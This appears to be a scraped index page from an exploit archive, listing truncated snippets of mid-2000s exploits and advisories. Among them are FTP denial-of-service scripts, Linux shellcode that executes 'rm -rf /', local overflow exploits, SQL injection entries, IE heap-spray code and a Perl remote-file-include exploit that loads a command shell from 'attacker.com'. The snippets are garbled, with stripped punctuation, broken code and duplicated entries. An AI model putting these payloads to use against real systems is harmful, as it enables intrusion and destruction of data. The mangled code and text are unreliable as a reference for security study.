Star FTP Server 1.10 - 'RETR' Remote Denial of Service

Star FTP server 1.10 Bug type: stack overflow Found by Necro http://iHACK.pl from socket import from sys import exit print '\n Star FTP server 1.10 Remote 0day DoS Exploit' print ' Bug found by Necro http://iHACK.pl' host = '127.0.0.1' port = 21 username = 'necro' password = 'dupa' evil = 'RETR' ...

Star FTP Server 1.10 - RETR Remote Denial of Service

Star FTP Server 1.10 - RETR Remote Denial of Service Star FTP server 1.10 Bug type: stack overflow Found by Necro http://iHACK.pl from socket import from sys import exit print '\n Star FTP server 1.10 Remote 0day DoS Exploit' print ' Bug found by Necro http://iHACK.pl' host = '127.0.0.1' port = 2...

Sambar FTP Server 6.4 (SIZE) Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ============================================================= Sambar FTP Server 6.4 SIZE Remote Denial of Service Exploit ============================================================= ?php Sambar FTP Server 6.4 SIZE Denial Of Service by rgod mail...

Nvidia NView 3.5 - Keystone.exe Local Denial of Service

Nvidia NView 3.5 - Keystone.exe Local Denial of Service // source: https://www.securityfocus.com/bid/21260/info NVIDIA nView is prone to a local denial-of-service vulnerability. An attacker can exploit this issue to crash the affected computer, denying service to legitimate users. / NVIDIA nView...

CVE-2006-6059

The CVE-2006-6059 issue affects Netgear MA521 PCMCIA adapter’s MA521nd5.SYS driver (version 5.148.724.2003). A buffer overflow in the driver can be triggered by 802.11 management frames (beacon or probe responses with long supported rates element), allowing remote attackers to execute arbitrary c...

MS06070 vulnerability exploit code-exploit warning-the black bar safety net

Microsoft Security Bulletin MS06-0 7 0 The Workstation service vulnerability in the could allow remote code execution 9 2 4 2 7 0 Release Date: November 1 4, 2 0 0 6 Version: 1.0 Summary Who should read this document: using Microsoft Windows clients Impact of vulnerability: remote code execution...

linux/x86 execve(rm -rf /) shellcode 45 bytes

Exploit for linux/x86 platform in category shellcode ============================================= linux/x86 execverm -rf / shellcode 45 bytes ============================================= / By Kris Katterjohn 11/18/2006 45 byte shellcode to execve"rm -rf /" for Linux/x86 section .text global sta...

Novell eDirectory 9.0 - DHost Remote Buffer Overflow

Novell eDirectory 9.0 - DHost Remote Buffer Overflow / . \ \ \ \ | | / | | | | \ / / /\ \ / \ | \ / / / / 30\10\06 / || / / mm. dM8 YMMMb. dMM8 YMMMMb dMMM' YMMMb dMMMP There are doors I have yet to open YMMM MMM' windows I have yet to look through "MbdMP Going forward may not be the answer...

HP-UX 11.0 /bin/cu Privilege Escalation Exploit

No description provided by source. / Copyright c 2001 Zorgon All Rights Reserved The copyright notice above does not evidence any actual or intended publication of such source code. HP-UX /bin/cu exploit. Tested on HP-UX 11.00 [email protected] http://www.nightbird.free.fr / include stdio.h...

Xsok v1.02 "-xsokdir" local buffer overflow game exploit

No description provided by source. / 0x333xsok 2 = xsok 1.02 local game exploit Happy new year ! 2 : coded by c0wboy c 0x333 Outsiders Security Labs / www.0x333.org / include stdio.h include unistd.h define BIN "/usr/games/xsok" define RETADD 0xbffffa3c define SIZE 200 unsigned char shellcode = /...

Novell eDirectory 8.x - iMonitor HTTPSTK Buffer Overflow (1)

source: https://www.securityfocus.com/bid/20655/info The Novell eDirectory server iMonitor is prone to a stack-based buffer-overflow vulnerability because it fails to perform sufficient bounds checking on client-supplied data before copying it to a buffer. An attacker could leverage this issue to...

Casinosoft Casino Script 3.2 - config.php SQL Injection

Casinosoft Casino Script 3.2 - config.php SQL Injection source: https://www.securityfocus.com/bid/20646/info Casinosoft Casino Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue coul...

phpbbplusxl-rfi.txt

!/usr/bin/perl phpBB PlusXL 2.X biuld 272 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.xs4all.nl/hkicken/plusxl.htm use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END" $socke...

phpmyteam20-rfi.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= phpMyTeam v2.0 = smileysdir Remote File Include Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Discovered by XORONturkish hacker...

OlateDownload 3.4 - details.php?page SQL Injection

OlateDownload 3.4 - details.php?page SQL Injection source: https://www.securityfocus.com/bid/20278/info OlateDownload is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input. A...

US-CERT Technical Cyber Security Alert TA06-270A -- Microsoft Internet Explorer WebViewFolderIcon ActiveX Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-270A Microsoft Internet Explorer WebViewFolderIcon ActiveX Vulnerability Original release date: September 27, 2006 Last revised: -- Source: US-CERT Systems Affected Microsoft Windows...

Microsoft Internet Explorer (Windows XP SP2) - VML Remote Buffer Overflow

Microsoft Internet Explorer Windows XP SP2 - VML Remote Buffer Overflow v: behavior: urlVMLRender; var heapSprayToAddress = 0x05050505; var payLoadCode =...

Microsoft Internet Explorer (Windows XP SP2) - 'VML' Remote Buffer Overflow

v: behavior: urlVMLRender; var heapSprayToAddress = 0x05050505; var payLoadCode =...

ProgSys <= 0.156 (RR.php) Remote File Include Exploit

Exploit for unknown platform in category web applications ===================================================== ProgSys = 0.156 RR.php Remote File Include Exploit ===================================================== !/usr/bin/perl use LWP::UserAgent; ::::::::: :::::::::: ::: ::: ::::::::::: :::...

ZilekPortal 1.0 - Haberdetay.asp SQL Injection

ZilekPortal 1.0 - Haberdetay.asp SQL Injection source: https://www.securityfocus.com/bid/20062/info ZilekPortal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an...